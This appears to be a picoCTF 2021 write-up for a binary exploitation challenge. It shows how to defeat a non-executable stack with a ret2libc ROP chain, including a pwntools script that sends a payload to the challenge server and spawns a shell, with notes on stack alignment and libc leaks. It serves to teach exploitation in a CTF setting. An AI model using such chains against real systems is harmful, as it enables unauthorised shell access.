Binary Gauntlet 1 picoCTF 2021 Solution

Published: April 2, 2026

Description

Level 2 of Binary Gauntlet. The stack is no longer executable (NX enabled). Use ROP gadgets or ret2libc to get a shell.

Download the binary and check its security properties.

bash
wget https://mercury.picoctf.net/static/.../vuln
bash
chmod +x vuln
bash
checksec vuln
  1. Step 1Verify NX and check for other mitigations
    Run checksec to confirm NX (Non-eXecutable stack) is enabled. Note whether ASLR/PIE is active - if PIE is off, libc addresses may be fixed and predictable.
    bash
    checksec vuln
    bash
    ldd vuln  # local libc path; remote may differ
    bash
    # On remote: ldd ./chall to see its libc path,
    bash
    # or fall back to: find /lib /usr/lib -name 'libc.so.6' 2>/dev/null
    Learn more

    NX (No-eXecute) marks the stack as non-executable, meaning processor hardware will refuse to execute code stored there. This defeats shellcode injection attacks where the attacker writes machine code directly into the buffer. However, it does not prevent Return-Oriented Programming (ROP), because ROP reuses code that already exists in the binary or linked libraries.

    checksec reports: RELRO (GOT protection), Stack Canary (stack smashing detection), NX (no-exec stack), PIE (position-independent executable), and FORTIFY. Each mitigation requires a different bypass technique. Knowing which are enabled before starting saves significant time.

    Finding libc on the remote. Your local libc almost certainly does not match the challenge container's, and using the wrong one shifts every offset. If the binary forks a shell (e.g. via the win path or a bind), check which libc it links against with ldd ./chall. If you only have RCE-flavored read primitives, bruteforce the path: find /lib /usr/lib /lib64 -name 'libc.so.6' 2>/dev/null, then md5sum it and look it up on a libc database.

  2. Step 2Find ROP gadgets and build a ret2libc chain
    Use ROPgadget or ropper to find useful gadgets. For a ret2libc attack, you need a 'pop rdi; ret' gadget to load the /bin/sh string address into RDI (first argument register), then call system().
    bash
    ROPgadget --binary vuln | grep 'pop rdi'
    python
    python3 -c "from pwn import *; e=ELF('./vuln'); libc=ELF('/lib/x86_64-linux-gnu/libc.so.6'); print(hex(libc.sym['system'])); print(hex(next(libc.search(b'/bin/sh'))))"
    Learn more

    ret2libc is the classic NX bypass: instead of injecting new shellcode, return to existing libc code. Call system("/bin/sh") using the version of libc already loaded in the process. The libc address of system() and the address of the /bin/sh string (which libc contains internally) are all that is needed.

    On x86-64, function arguments are passed in registers: the first argument in RDI, second in RSI, third in RDX. To call system("/bin/sh"), you need to load the /bin/sh address into RDI before the call. The pop rdi; ret gadget (a 2-byte sequence) does exactly this: it pops the next value off the stack into RDI and returns to the following address.

    If ASLR is enabled but PIE is disabled, you can leak a libc address using puts() or printf() to print the GOT entry of a known function, calculate the libc base from the offset, then do a second stage with the real addresses.

  3. Step 3Build and send the exploit
    Construct the ROP chain: [padding] + [pop_rdi_ret] + [/bin/sh_addr] + [system_addr]. Adjust for stack alignment (x86-64 requires 16-byte alignment at call sites - add a 'ret' gadget if needed).
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    offset = 44  # from previous cyclic analysis
    pop_rdi = 0x????????  # from ROPgadget
    ret_gadget = 0x????????  # for stack alignment
    bin_sh = next(libc.search(b'/bin/sh'))
    system = libc.sym['system']
    
    payload  = b'A' * offset
    payload += p64(pop_rdi)
    payload += p64(bin_sh)
    payload += p64(ret_gadget)   # stack alignment
    payload += p64(system)
    
    p.sendline(payload)
    p.interactive()
    EOF
    Learn more

    Layout of the chain on the stack (each cell is 8 bytes, ret always pops the top):

    rsp -> | pop rdi ; ret    |   <- vuln()'s ret pops this
           | &"/bin/sh"       |   pop rdi ; ret pops -> rdi
           | ret (alignment)  |   pops nothing, just realigns +8
           | &system          |   ret jumps here, rdi already set
           | (junk return)    |   system() will return here on exit

    Why alignment matters. The System V x86-64 ABI requires (rsp % 16) == 0 at the moment a call instruction executes. vuln()'s own prologue produced 16-byte alignment, so when it rets the stack ends in ...0x8. After pop rdi; ret consumes 16 bytes (one pop, one ret), alignment is restored. But system() is called by a ret, not a call, so the alignment expected inside system() depends on whether you added the spacer. Modern glibc system() uses movaps on stack-allocated locals -- a 16-byte-aligned move that segfaults on misalignment. The bare ret gadget eats one stack slot to realign.

    Computing the libc base from a leak. If you call puts(puts@got) first, the leaked 8 bytes are the runtime address of puts. Then:

    libc_base = leaked_puts - libc.sym['puts']
    system    = libc_base + libc.sym['system']
    bin_sh    = libc_base + next(libc.search(b'/bin/sh\x00'))

    Stage one of the chain returns to main (or the vulnerable function) so you can send the second payload with the now-known libc addresses. For chains that synthesize gadgets when libc isn't available, see building a ROP chain without libc; for the broader pwntools workflow, see the pwntools guide.

Flag

picoCTF{...}

NX prevents shellcode execution but not ROP - a ret2libc chain calling system('/bin/sh') gets a shell by reusing existing libc code without injecting any new instructions.

Want more picoCTF 2021 writeups?

Tools used in this challenge

Related reading

What to try next